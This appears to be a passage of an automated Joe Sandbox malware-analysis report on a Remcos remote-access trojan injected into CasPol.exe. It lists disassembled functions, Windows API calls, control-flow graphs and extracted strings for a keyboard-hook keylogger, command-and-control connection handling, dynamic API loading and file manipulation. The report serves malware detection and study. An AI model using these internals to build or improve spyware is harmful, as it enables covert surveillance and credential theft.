                                                                                    • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                                                                                    • API String ID: 384173800-625181639
                                                                                    • Opcode ID: 0789f4e3f810de028ed60e0db8f6a6efc83e65cfda48e5b03c752fe52fb7e632
                                                                                    • Instruction ID: 894fbade80705e672e772900be83df88f70523cf1842e1027a1ce5ee2e2841b6
                                                                                    • Opcode Fuzzy Hash: 0789f4e3f810de028ed60e0db8f6a6efc83e65cfda48e5b03c752fe52fb7e632
                                                                                    • Instruction Fuzzy Hash: 2831EDA0E4031C7ADA107FB69C49E5B7E9CD944B953110827B508D3162FBBDA9809EEE
                                                                                    Function 004099E4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65windowCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 1304 4099e4-4099fd 1305 409a63-409a73 GetMessageA 1304->1305 1306 4099ff-409a19 GetModuleHandleA SetWindowsHookExA 1304->1306 1307 409a75-409a8d TranslateMessage DispatchMessageA 1305->1307 1308 409a8f 1305->1308 1306->1305 1309 409a1b-409a61 GetLastError call 41ad46 call 404c9e call 401f66 call 41a686 call 401eea 1306->1309 1307->1305 1307->1308 1310 409a91-409a96 1308->1310 1309->1310
                                                                                    APIs
                                                                                    • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00409A01
                                                                                    • SetWindowsHookExA.USER32(0000000D,004099D0,00000000), ref: 00409A0F
                                                                                    • GetLastError.KERNEL32 ref: 00409A1B
                                                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                    • GetMessageA.USER32 ref: 00409A6B
                                                                                    • TranslateMessage.USER32(?), ref: 00409A7A
                                                                                    • DispatchMessageA.USER32(?), ref: 00409A85
                                                                                    Strings
                                                                                    • Keylogger initialization failure: error , xrefs: 00409A32
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                                                                    • String ID: Keylogger initialization failure: error
                                                                                    • API String ID: 3219506041-952744263
                                                                                    • Opcode ID: 04eaad81753b9e27949701049d8d5bd2de999136c2a6d130b4221f81ecb2367e
                                                                                    • Instruction ID: 76b292cdb4e6355f9a4176d1f10d626d2d11be3de55f9aee7ae49bf60faff0c2
                                                                                    • Opcode Fuzzy Hash: 04eaad81753b9e27949701049d8d5bd2de999136c2a6d130b4221f81ecb2367e
                                                                                    • Instruction Fuzzy Hash: 201194716043015BC710AB7AAC4996B77ECAB94B15B10057FFC45D2291FB34DE01CBAB
                                                                                    Function 0040E54F Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 88sleepCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                      • Part of subcall function 004124B7: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 004124D7
                                                                                      • Part of subcall function 004124B7: RegQueryValueExA.KERNEL32 ref: 004124F5
                                                                                      • Part of subcall function 004124B7: RegCloseKey.KERNEL32(?), ref: 00412500
                                                                                    • Sleep.KERNELBASE(00000BB8), ref: 0040E603
                                                                                    • ExitProcess.KERNEL32 ref: 0040E672
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseExitOpenProcessQuerySleepValue
                                                                                    • String ID: 5.3.0 Pro$override$pth_unenc$BG
                                                                                    • API String ID: 2281282204-3981147832
                                                                                    • Opcode ID: b52ee1c3eed207540671a46520d926d2e116572944b131f6506924d3268894c8
                                                                                    • Instruction ID: 346becae97c590b24629de205d3f766cc2ad037e5fc603921d36f10068cff0f4
                                                                                    • Opcode Fuzzy Hash: b52ee1c3eed207540671a46520d926d2e116572944b131f6506924d3268894c8
                                                                                    • Instruction Fuzzy Hash: 6B21A131B0030027C608767A891BA6F359A9B91719F90443EF805A76D7EE7D8A6083DF
                                                                                    Function 0043293A Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,?,00000001,004326C2,00000024,?,?,?), ref: 0043294C
                                                                                    • CryptGenRandom.ADVAPI32(?,?,?,?,?,?,?,?,?,0042CBBE,?), ref: 00432962
                                                                                    • CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?,?,0042CBBE,?), ref: 00432974
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Crypt$Context$AcquireRandomRelease
                                                                                    • String ID:
                                                                                    • API String ID: 1815803762-0
                                                                                    • Opcode ID: 04772303a0a25dfd0b8e93efaf4bd4cd6a07a437a7117abaa9b2762516ca9460
                                                                                    • Instruction ID: 80435fde6f6b62f03973a002229794bf261f16e8857de4c024377aa862d1bdf3
                                                                                    • Opcode Fuzzy Hash: 04772303a0a25dfd0b8e93efaf4bd4cd6a07a437a7117abaa9b2762516ca9460
                                                                                    • Instruction Fuzzy Hash: 11E06D31308211BBEB310E25BC08F573F94AF89B71F71053AB211E40E4C2A188419A1C
                                                                                    Function 00447601 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetSystemTimeAsFileTime.KERNEL32(00000000,004395D7), ref: 00447640
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Time$FileSystem
                                                                                    • String ID: GetSystemTimePreciseAsFileTime
                                                                                    • API String ID: 2086374402-595813830
                                                                                    • Opcode ID: b2082df683af13833096f22bedc2630f2ccad045cc103b7afd2677737f9470db
                                                                                    • Instruction ID: 93e267b14f3539efa22cf49968ab422456f43bf7ede497bc1fb1296ec8be01e3
                                                                                    • Opcode Fuzzy Hash: b2082df683af13833096f22bedc2630f2ccad045cc103b7afd2677737f9470db
                                                                                    • Instruction Fuzzy Hash: 2EE0E531A46218A79320AF25AC03E3FBB54DF04B22F1102BAFC0597253CE254D019ADE
                                                                                    Function 0041A7A2 Relevance: 1.5, APIs: 1, Instructions: 40COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetUserNameW.ADVAPI32(?,0040DFC3), ref: 0041A7D7
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: NameUser
                                                                                    • String ID:
                                                                                    • API String ID: 2645101109-0
                                                                                    • Opcode ID: d080141cef9e3990b2f6bec53120ee530cdf67b1126702e4f13589ad74e7334c
                                                                                    • Instruction ID: 0a408ea7b536296bc4698588bf682dce528bd2697060893402f21fe22c13e40a
                                                                                    • Opcode Fuzzy Hash: d080141cef9e3990b2f6bec53120ee530cdf67b1126702e4f13589ad74e7334c
                                                                                    • Instruction Fuzzy Hash: 8801FF7290011CAADB14EB90DC45ADDBBBCEF44715F10017AB501B21D5EFB4AB898A98
                                                                                    Function 00433CD7 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SetUnhandledExceptionFilter.KERNEL32 ref: 00433CDC
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ExceptionFilterUnhandled
                                                                                    • String ID:
                                                                                    • API String ID: 3192549508-0
                                                                                    • Opcode ID: 3670727f3e8651977646328ecd403d2a1b3c6ba49dd5bfb528ab2007e995f695
                                                                                    • Instruction ID: 83953e3dca8a62111c248ad4478ddd9c1373f985a30770e5fc8846644fe13ce9
                                                                                    • Opcode Fuzzy Hash: 3670727f3e8651977646328ecd403d2a1b3c6ba49dd5bfb528ab2007e995f695
                                                                                    • Instruction Fuzzy Hash:
                                                                                    Function 0040D767 Relevance: 95.3, APIs: 13, Strings: 41, Instructions: 799COMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 5 40d767-40d7e9 call 41bce3 GetModuleFileNameW call 40e168 call 401fbd * 2 call 41afc3 call 40e8bd call 401d8c call 43e820 22 40d835-40d8fd call 401d64 call 401e8f call 401d64 call 404cbf call 405ce6 call 401eef call 401eea * 2 call 401d64 call 401ebd call 40541d call 401d64 call 404bb1 call 401d64 call 404bb1 5->22 23 40d7eb-40d830 call 40e986 call 401d64 call 401e8f call 40fcba call 40e937 call 40e155 5->23 69 40d950-40d96b call 401d64 call 40b125 22->69 70 40d8ff-40d94a call 4085b4 call 401eef call 401eea call 401e8f call 4124b7 22->70 48 40dc96-40dca7 call 401eea 23->48 79 40d9a5-40d9ac call 40bed7 69->79 80 40d96d-40d98c call 401e8f call 4124b7 69->80 70->69 102 40e134-40e154 call 401e8f call 412902 call 4112b5 70->102 90 40d9b5-40d9bc 79->90 91 40d9ae-40d9b0 79->91 80->79 98 40d98e-40d9a4 call 401e8f call 412902 80->98 92 40d9c0-40d9cc call 41a463 90->92 93 40d9be 90->93 96 40dc95 91->96 103 40d9d5-40d9d9 92->103 104 40d9ce-40d9d0 92->104 93->92 96->48 98->79 107 40da18-40da2b call 401d64 call 401e8f 103->107 108 40d9db call 40697b 103->108 104->103 128 40da32-40daba call 401d64 call 41ae08 call 401e18 call 401e13 call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f 107->128 129 40da2d call 4069ba 107->129 117 40d9e0-40d9e2 108->117 120 40d9e4-40d9e9 call 40699d call 4064d0 117->120 121 40d9ee-40da01 call 401d64 call 401e8f 117->121 120->121 121->107 138 40da03-40da09 121->138 163 40db22-40db26 128->163 164 40dabc-40dad5 call 401d64 call 401e8f call 43a611 128->164 129->128 138->107 140 40da0b-40da11 138->140 140->107 142 40da13 call 4064d0 140->142 142->107 165 40dcaa-40dd01 call 436050 call 4022f8 call 401e8f * 2 call 41265d call 4082d7 163->165 166 40db2c-40db33 163->166 164->163 188 40dad7-40db1d call 401d64 call 401e8f call 401d64 call 401e8f call 40c89e call 401e18 call 401e13 164->188 219 40dd06-40dd5c call 401d64 call 401e8f call 401f66 call 401e8f call 4126d2 call 401d64 call 401e8f call 43a5e7 165->219 168 40dbb1-40dbbb call 4082d7 166->168 169 40db35-40dbaf call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 40bc67 166->169 178 40dbc0-40dbe4 call 4022f8 call 4338c8 168->178 169->178 199 40dbf3 178->199 200 40dbe6-40dbf1 call 436050 178->200 188->163 203 40dbf5-40dc40 call 401e07 call 43e349 call 4022f8 call 401e8f call 4022f8 call 401e8f call 4128a2 199->203 200->203 257 40dc45-40dc6a call 4338d1 call 401d64 call 40b125 203->257 272 40dd79-40dd7b 219->272 273 40dd5e 219->273 257->219 274 40dc70-40dc91 call 401d64 call 41ae08 call 40e219 257->274 276 40dd81 272->276 277 40dd7d-40dd7f 272->277 275 40dd60-40dd77 call 41beb0 CreateThread 273->275 274->219 292 40dc93 274->292 280 40dd87-40de66 call 401f66 * 2 call 41a686 call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 43a5e7 call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f StrToIntA call 409517 call 401d64 call 401e8f 275->280 276->280 277->275 330 40dea1 280->330 331 40de68-40de9f call 43360d call 401d64 call 401e8f CreateThread 280->331 292->96 333 40dea3-40debb call 401d64 call 401e8f 330->333 331->333 342 40def9-40df0c call 401d64 call 401e8f 333->342 343 40debd-40def4 call 43360d call 401d64 call 401e8f CreateThread 333->343 354 40df6c-40df7f call 401d64 call 401e8f 342->354 355 40df0e-40df67 call 401d64 call 401e8f call 401d64 call 401e8f call 40c854 call 401e18 call 401e13 CreateThread 342->355 343->342 365 40df81-40dfb5 call 401d64 call 401e8f call 401d64 call 401e8f call 43a5e7 call 40b95c 354->365 366 40dfba-40dfde call 41a7a2 call 401e18 call 401e13 354->366 355->354 365->366 386 40dfe0-40dfe1 SetProcessDEPPolicy 366->386 387 40dfe3-40dff6 CreateThread 366->387 386->387 390 40e004-40e00b 387->390 391 40dff8-40e002 CreateThread 387->391 394 40e019-40e020 390->394 395 40e00d-40e017 CreateThread 390->395 391->390 398 40e022-40e025 394->398 399 40e033-40e038 394->399 395->394 401 40e073-40e08e call 401e8f call 41246e 398->401 402 40e027-40e031 398->402 404 40e03d-40e06e call 401f66 call 404c9e call 401f66 call 41a686 call 401eea 399->404 414 40e094-40e0d4 call 41ae08 call 401e07 call 412584 call 401e13 call 401e07 401->414 415 40e12a-40e12f call 40cbac call 413fd4 401->415 402->404 404->401 433 40e0ed-40e0f2 DeleteFileW 414->433 415->102 434 40e0f4-40e125 call 41ae08 call 401e07 call 41297a call 401e13 * 2 433->434 435 40e0d6-40e0d9 433->435 434->415 435->434 436 40e0db-40e0e8 Sleep call 401e07 435->436 436->433
                                                                                    APIs
                                                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(Psapi), ref: 0041BCF8
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD01
                                                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040D783), ref: 0041BD18
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD1B
                                                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(shcore), ref: 0041BD2D
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD30
                                                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(user32), ref: 0041BD41
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD44
                                                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(ntdll), ref: 0041BD55
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD58
                                                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(kernel32), ref: 0041BD65
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD68
                                                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040D783), ref: 0041BD75
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD78
                                                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040D783), ref: 0041BD85
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD88
                                                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(Shell32), ref: 0041BD99
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BD9C
                                                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040D783), ref: 0041BDA9
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDAC
                                                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040D783), ref: 0041BDBD
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDC0
                                                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040D783), ref: 0041BDD1
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDD4
                                                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040D783), ref: 0041BDE5
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDE8
                                                                                      • Part of subcall function 0041BCE3: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040D783), ref: 0041BDF5
                                                                                      • Part of subcall function 0041BCE3: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040D783), ref: 0041BDF8
                                                                                      • Part of subcall function 0041BCE3: LoadLibraryA.KERNEL32(Shlwapi), ref: 0041BE06
                                                                                    • GetModuleFileNameW.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe,00000104), ref: 0040D790
                                                                                      • Part of subcall function 0040FCBA: __EH_prolog.LIBCMT ref: 0040FCBF
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                                                                                    • String ID: (CG$(CG$0DG$@CG$@CG$Access Level: $Administrator$C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$Exe$Inj$Remcos Agent initialized$Software\$User$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$XCG$`=G$dCG$del$del$exepath$licence$license_code.txt$BG$BG$BG$BG$BG
                                                                                    • API String ID: 2830904901-3665108517
                                                                                    • Opcode ID: 5e51f7e67b8677edd7a6a9ad21c019ba510255d510447460386dd295170cec85
                                                                                    • Instruction ID: 4071723a11783d2da8da933f82134b9c6f3815e49c8d87d463163304bf45e319
                                                                                    • Opcode Fuzzy Hash: 5e51f7e67b8677edd7a6a9ad21c019ba510255d510447460386dd295170cec85
                                                                                    • Instruction Fuzzy Hash: 4032A360B043406ADA18B776DC57BBE269A8FC1748F04443FB8467B2E2DE7C9D45839E
                                                                                    Function 00413FD4 Relevance: 48.1, APIs: 5, Strings: 22, Instructions: 813sleepnetworkCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 447 413fd4-41401f call 401faa call 41aa73 call 401faa call 401d64 call 401e8f call 43a5e7 460 414021-414028 Sleep 447->460 461 41402e-41407c call 401f66 call 401d64 call 401fbd call 41afc3 call 404262 call 401d64 call 40b125 447->461 460->461 476 4140f0-41418a call 401f66 call 401d64 call 401fbd call 41afc3 call 401d64 * 2 call 4085b4 call 4027cb call 401eef call 401eea * 2 call 401d64 call 405422 461->476 477 41407e-4140ed call 401d64 call 4022f8 call 401d64 call 401e8f call 401d64 call 4022f8 call 401d64 call 401e8f call 401d64 call 4022f8 call 401d64 call 401e8f call 404101 461->477 530 41419a-4141a1 476->530 531 41418c-414198 476->531 477->476 532 4141a6-414242 call 40541d call 404cbf call 405ce6 call 4027cb call 401f66 call 41a686 call 401eea * 2 call 401d64 call 401e8f call 401d64 call 401e8f call 413f9a 530->532 531->532 559 414244-41428a WSAGetLastError call 41bc76 call 404c9e call 401f66 call 41a686 call 401eea 532->559 560 41428f-41429d call 4041f1 532->560 583 414b54-414b66 call 4047eb call 4020b4 559->583 566 4142ca-4142d8 call 404915 call 40428c 560->566 567 41429f-4142c5 call 401f66 * 2 call 41a686 560->567 579 4142dd-4142df 566->579 567->583 582 4142e5-414432 call 401d64 * 2 call 404cbf call 405ce6 call 4027cb call 405ce6 call 4027cb call 401f66 call 41a686 call 401eea * 4 call 41a96d call 413683 call 4082dc call 440c51 call 401d64 call 401fbd call 4022f8 call 401e8f * 2 call 41265d 579->582 579->583 647 414434-414441 call 40541d 582->647 648 414446-41446d call 401e8f call 412513 582->648 595 414b68-414b88 call 401d64 call 401e8f call 43a5e7 Sleep 583->595 596 414b8e-414b96 call 401d8c 583->596 595->596 596->476 647->648 654 414474-414ac7 call 403b40 call 40cbf1 call 41adee call 41aec8 call 41ad46 call 401d64 GetTickCount call 41ad46 call 41aca0 call 41ad46 * 2 call 41ac52 call 41aec8 * 5 call 40e679 call 41aec8 call 4027ec call 40275c call 4027cb call 40275c call 4027cb * 3 call 40275c call 4027cb call 405ce6 call 4027cb call 405ce6 call 4027cb call 40275c call 4027cb call 40275c call 4027cb call 40275c call 4027cb call 40275c call 4027cb call 40275c call 4027cb call 40275c call 4027cb call 40275c call 4027cb call 405ce6 call 4027cb * 5 call 40275c call 4027cb call 40275c call 4027cb * 7 call 40275c call 404468 call 401eea * 50 call 401e13 call 401eea * 6 call 401e13 call 4045d5 648->654 655 41446f-414471 648->655 901 414ac9-414ad0 654->901 902 414adb-414ae2 654->902 655->654 901->902 903 414ad2-414ad4 901->903 904 414ae4-414ae9 call 40a767 902->904 905 414aee-414b20 call 405415 call 401f66 * 2 call 41a686 902->905 903->902 904->905 916 414b22-414b2e CreateThread 905->916 917 414b34-414b4f call 401eea * 2 call 401e13 905->917 916->917 917->583
                                                                                    APIs
                                                                                    • Sleep.KERNEL32(00000000,00000029,004742F8,?,00000000), ref: 00414028
                                                                                    • WSAGetLastError.WS2_32 ref: 00414249
                                                                                    • Sleep.KERNELBASE(00000000,00000002), ref: 00414B88
                                                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Sleep$ErrorLastLocalTime
                                                                                    • String ID: | $%I64u$5.3.0 Pro$@CG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$TLS Off$TLS On $XCG$XCG$XCG$`=G$dCG$hlight$name$>G$>G$BG
                                                                                    • API String ID: 524882891-2450167416
                                                                                    • Opcode ID: e9e6e02bde1cf3d981c20cac23d135d64d116cff9c364fef5cd7aa1616a47ffc
                                                                                    • Instruction ID: a0bb0b13232d9f5991351636829aab2dda2428bc81dc0b9639db3628de0ead2f
                                                                                    • Opcode Fuzzy Hash: e9e6e02bde1cf3d981c20cac23d135d64d116cff9c364fef5cd7aa1616a47ffc
                                                                                    • Instruction Fuzzy Hash: 58524E31A001145ADB18F771DDA6AEE73A59F90708F1041BFB80A771E2EF385E85CA9D
                                                                                    Function 00413E37 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 924 413e37-413e73 925 413e79-413e8e GetSystemDirectoryA 924->925 926 413f8e-413f99 924->926 927 413f84 925->927 928 413e94-413ee0 call 44080e call 440868 LoadLibraryA 925->928 927->926 933 413ee2-413eec GetProcAddress 928->933 934 413ef7-413f31 call 44080e call 440868 LoadLibraryA 928->934 936 413ef3-413ef5 933->936 937 413eee-413ef1 FreeLibrary 933->937 945 413f80-413f83 934->945 946 413f33-413f3d GetProcAddress 934->946 936->934 938 413f48 936->938 937->936 941 413f4a-413f5b GetProcAddress 938->941 943 413f65-413f68 FreeLibrary 941->943 944 413f5d-413f61 941->944 948 413f6a-413f6c 943->948 944->941 947 413f63 944->947 945->927 949 413f44-413f46 946->949 950 413f3f-413f42 FreeLibrary 946->950 947->948 948->945 951 413f6e-413f7e 948->951 949->938 949->945 950->949 951->945 951->951
                                                                                    APIs
                                                                                    • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00413E86
                                                                                    • LoadLibraryA.KERNEL32(?), ref: 00413EC8
                                                                                    • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00413EE8
                                                                                    • FreeLibrary.KERNEL32(00000000), ref: 00413EEF
                                                                                    • LoadLibraryA.KERNEL32(?), ref: 00413F27
                                                                                    • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00413F39
                                                                                    • FreeLibrary.KERNEL32(00000000), ref: 00413F40
                                                                                    • GetProcAddress.KERNEL32(00000000,?), ref: 00413F4F
                                                                                    • FreeLibrary.KERNEL32(00000000), ref: 00413F66
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Library$AddressFreeProc$Load$DirectorySystem
                                                                                    • String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                                                                                    • API String ID: 2490988753-744132762
                                                                                    • Opcode ID: ba6e91efba9758633ea9bec27d31a254a4df24d425156724d9bfa6bc4db7eb59
                                                                                    • Instruction ID: a4547f3d416e9253f7b1cbdd0907a67efdadb69b2b53743d1710677937ed8fa2
                                                                                    • Opcode Fuzzy Hash: ba6e91efba9758633ea9bec27d31a254a4df24d425156724d9bfa6bc4db7eb59
                                                                                    • Instruction Fuzzy Hash: 6D31C4B1906315A7D320AF25DC44ACBB7ECEF44745F400A2AF844D3201D778DA858AEE
                                                                                    Function 00409E48 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • Sleep.KERNELBASE(00001388), ref: 00409E62
                                                                                      • Part of subcall function 00409D97: CreateFileW.KERNELBASE(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00409DCD
                                                                                      • Part of subcall function 00409D97: GetFileSize.KERNEL32(00000000,00000000,?,?,?,00409E6F), ref: 00409DDC
                                                                                      • Part of subcall function 00409D97: Sleep.KERNEL32(00002710,?,?,?,00409E6F), ref: 00409E09
                                                                                      • Part of subcall function 00409D97: CloseHandle.KERNELBASE(00000000), ref: 00409E10
                                                                                    • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00409E9E
                                                                                    • GetFileAttributesW.KERNEL32(00000000), ref: 00409EAF
                                                                                    • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 00409EC6
                                                                                    • PathFileExistsW.SHLWAPI(00000000), ref: 00409F40
                                                                                      • Part of subcall function 0041B61A: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041B633
                                                                                    • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00465900,?,00000000,00000000,00000000,00000000,00000000), ref: 0040A049
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_8_2_400000_CasPol.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                                                                    • String ID: @CG$@CG$XCG$XCG$xAG$xAG
                                                                                    • API String ID: 3795512280-3163867910
